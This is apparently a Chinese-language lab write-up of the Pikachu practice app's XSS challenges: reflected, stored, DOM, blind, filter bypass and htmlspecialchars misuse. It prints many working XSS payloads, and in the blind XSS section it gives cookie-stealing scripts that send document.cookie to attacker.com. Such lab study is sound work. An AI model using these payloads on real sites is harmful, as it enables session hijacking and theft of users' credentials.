Day2-pikachu Cross-Site Scripting(XSS)
htmlspecialchars 是PHP中用于防御XSS的核心函数之一,它的作用是将HTML中的特殊字符(如 <, >, ", ', &)转换为HTML实体(如 <, >, ", ', &)。使用' onmouseover='alert(1)、可以自动触发,无需交互,使用' onmouseover='alert(1)链接背景变红,使用' onmouseenter='alert(1)鼠标放链接上自
1.反射型xss(get)
其原理是:当你通过网站的表单(如搜索框、登录框)提交了一段恶意脚本后,服务器前后端程序没有对你的输入进行过滤,就直接将它嵌入到返回的HTML页面中。你的浏览器接收到这个页面时,会将其中的脚本当作合法代码执行,从而触发攻击

<script>alert('XSS')</script>输入测试脚本,这是一个典型的 XSS 攻击载荷,解释:
<script> - HTML 标签,告诉浏览器开始解析其中的内容为 JavaScript 代码alert('XSS') - JavaScript 函数,用于弹出一个显示 "XSS" 的警告框</script> - 结束标签,表示脚本代码结束
发现限制长度,抓取数据包,将提交的message参数直接改为<script>alert('XSS')</script>发送数据包,失败
缩短脚本长度,使用<svg οnlοad=alert(1)成功执行
这是一个利用SVG图像的XSS攻击载荷:
<svg> - HTML5的SVG图像标签,用于绘制矢量图形onload - 事件处理属性,当SVG元素完成加载时自动触发alert(1) - 被触发的JavaScript代码,弹出显示数字1的警告框

同时发现是通过前端限制了长度,将前端maxlength长度改为50,再次输入<script>alert('XSS')</script>,也可以成功弹框


在响应数据包可以发现,确实服务器在返回的HTML响应中直接包含了用户输入的内容,这属于反射型xss,同时恶意脚本作为URL参数的一部分,通过GET请求发送

2.反射型xss(post)
使用以下三种攻击载荷全都失败了,且没有在响应包中找到用户输入的内容
-
<script>alert('XSS')</script>
- <svg οnlοad=alert(1)>
-
<img src=x οnerrοr=alert('XSS')>

使用admin/123456登录进去先看下有没有弹框

在这个登录框再次尝试注入,成功弹框,看来是这个点存在xss
抓取数据包,和之前的反射型xss一样,只不过是以post请求发送的

3.存储型xss
存储型XSS的原理是:攻击者将恶意脚本提交到网站并保存在服务器中(如数据库),当其他普通用户访问包含该恶意内容的页面时,脚本会自动从服务器加载并执行,从而长期、持续地影响所有访问者。
所以在这个留言板写入注入脚本,是写进了数据库,不管是谁刷新这个页面,就会出现弹框xss

查看数据库,果然是写进来了

4.DOM型xss
DOM型XSS的原理是:攻击完全在客户端浏览器中发生,恶意脚本通过修改页面的DOM结构来执行,而不经过服务器处理;当网站的JavaScript代码将用户可控的数据(如URL片段、表单输入等)未经净化就直接写入DOM时,攻击者就能注入恶意代码并触发执行。
可以发现网页将我们提交的数据直接利用domxss()插入到了网页代码中,此攻击载荷并没有成功弹框

F12找到这个domxss函数是怎么运行的
漏洞原理:
-
函数获取输入框的值(
str) -
直接将
str拼接到HTML字符串中:<a href='"+str+"'> -
关键问题:没有对
str进行任何过滤或编码
从代码可以看出,属性值是用单引号包裹的:
-
正确的HTML结构是:
<a href='用户输入'>...</a> -
你需要先闭合单引号,然后注入代码
使用'><img src="#" οnmοuseοver="alert('xss')">和' οnclick="alert('xss')">都成功触发
这两个攻击载荷都需要点击先点击click me后再点击'>what do you see?后才能触发,这两个都是需要交互才能触发

使用'><img src=x οnerrοr=alert(1)>直接触发,无需交互
-
同步事件:
onerror、onload等在特定条件满足时立即触发 -
异步事件:
onclick、onmouseover等需要用户主动触发

5.DOM型xss-x

分析代码

和之前的一样,只是通过表单get提交,参数出现在URL中
攻击步骤:
-
攻击者构造恶意URL
-
诱使用户点击URL
-
用户点击"有些费尽心机想要忘记的事情,后来真的就忘掉了"链接
-
domxss()函数执行,恶意代码被注入DOM -
恶意JavaScript执行

6.xss之盲打
XSS盲打是一种攻击者无法立即看到攻击结果的存储型XSS攻击方式,攻击者将恶意脚本提交到网站的后台存储系统(如数据库、日志文件、评论审核后台等),这些脚本不会在前端页面直接显示或执行,而是等待特定用户(通常是管理员或客服人员)在后台查看这些数据时触发执行,从而窃取这些高权限用户的会话凭证或敏感信息。
前台输入恶意代码后没有回显

登录/xssblind/admin_login.php后台后,管理员登录进去就会触发xss弹框,针对特权用户的攻击

分析后台php文件,在数据入库时未进行html安全编码

攻击示例
// 在content文本框中输入
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
或者<img src=x οnerrοr="fetch('http://attacker.com/steal?cookie='+document.cookie)">
-
管理员登录后台(
/xssblind/admin_login.php) -
查看用户提交的内容
-
浏览器执行存储在数据库中的恶意脚本
-
管理员的cookie被发送到攻击者服务器
7.xss之过滤
输入<script>alert('XSS')</script> 发现过滤后只剩余了符号'>'

使用<svg οnlοad=alert(1)>、<img src=x οnerrοr=alert('XSS')>都可以成功弹框,猜测只过滤了script标签

查看源码,果然是将script替换为空

8.xss之htmlspecialchars
htmlspecialchars 是PHP中用于防御XSS的核心函数之一,它的作用是将HTML中的特殊字符(如 <, >, ", ', &)转换为HTML实体(如 <, >, ", ', &)。这样可以防止用户输入被浏览器解析为HTML代码,从而阻止XSS攻击
htmlspecialchars几种典型的错误用法:
(1). 参数设置错误:没有正确处理单引号
函数有第三个参数用于设置引号的编码方式
// 错误示例:默认不编码单引号
echo '<img src="' . htmlspecialchars($user_input) . '">';
// 如果 $user_input = ' οnerrοr='alert(1)
// 输出变为:<img src='' οnerrοr='alert(1)'>
// 单引号没有被转义,导致XSS
// 正确做法:使用 ENT_QUOTES 编码双引号和单引号
echo '<img src="' . htmlspecialchars($user_input, ENT_QUOTES) . '">';
// 输出变为:<img src='' οnerrοr='alert(1)'>
// 单引号被转义为 ',安全。
(2). 上下文错配:在非HTML上下文中使用
htmlspecialchars 只适用于 HTML正文 和 HTML属性 的上下文。如果数据输出到其他上下文,它完全无效。
比如:
1️⃣JavaScript上下文
// 错误:在JS中使用htmlspecialchars
<script>
var user = "<?php echo htmlspecialchars($data); ?>";
// 如果 $data = "; alert(1); //,依然会执行JS
</script>
// 正确做法:需要使用 json_encode 或针对JS的转义。
2️⃣HTML事件处理器属性: 本质上也是JS上下文
<div οnclick="console.log('<?php echo htmlspecialchars($data); ?>')">
3️⃣URL属性(href, src): 如果属性值是URL,则需要使用 urlencode 进行净化,而不仅仅是HTML转义。
// 危险:虽然转义了引号,但协议可控
<a href="<?php echo htmlspecialchars($user_url, ENT_QUOTES); ?>">点击</a>
// 如果 $user_url = javascript:alert(1)
// 点击链接依然会执行JS
(3). 字符集问题:没有指定正确的字符编码
函数的第四个参数用于指定字符集。如果页面字符集(如UTF-8)与函数处理的字符集不一致,可能导致转义失效,出现“截断攻击”等高级绕过
// 错误:字符集不匹配可能导致转义序列被错误解析
htmlspecialchars($input, ENT_QUOTES, 'ISO-8859-1');
// 而页面是 <meta charset="UTF-8">
// 正确:确保与页面字符集一致
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
提交的表单浏览器将其处理为一个href属性

使用javascript:alert(1)成功弹框

使用'οnclick='alert(1)
-
第一个单引号
'闭合了href属性 -
onclick='alert(1)添加了新的点击事件 -
由于href为空,点击链接会触发onclick事件
htmlspecialchars($user_input)默认不编码单引号
使用' οnmοuseοver='alert(1)、可以自动触发,无需交互,使用' οnmοuseοver='alert(1)链接背景变红,使用' οnmοuseenter='alert(1)鼠标放链接上自动触发,等等

示列获取cookies

查看php源码,htmlspecialchars($user_input)默认不编码单引号

9.xss之herf输出
发现这次这之前的herf区别有是双引号进行闭合,尝试闭合" οnclick="alert(1),失败,应该是html页面固定了结构

href属性允许使用JavaScript协议
当href属性的值以javascript:开头时,点击链接会执行后面的JavaScript代码。
使用javascript:alert('xss')成功弹框

分析php源码,
由于使用了ENT_QUOTES,单引号和单引号会被转义;,所以之前尝试的' οnclick='alert(1)确实无法成功。
但是,javascript协议仍然可以工作,因为它不依赖引号闭合。

10.xss之js输出
继续使用javascript:alert(1)进行测试,发现没有回显,抓个数据包看一下,发现输入的数据被嵌入到js代码中
由于用户输入被放在单引号字符串中,我们需要闭合字符串并执行JavaScript代码。但是,注意这里的上下文是JavaScript字符串,并且最终输出到页面使用的是jQuery的text()方法,这个方法会安全地设置文本内容,不会解析HTML。所以,即使我们注入了JavaScript代码,也不会被执行,因为text()方法不会解析HTML标签。

通过此回显进行构造数据包
使用 ';alert(1)//
代码就变成$ms='';alert(1);//';
在赋值 $ms为空之后,会执行alert(1),然后注释掉后面的单引号,避免语法错误
成功弹框

获取域名试试
';alert(document.domain);//

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。
更多推荐
所有评论(0)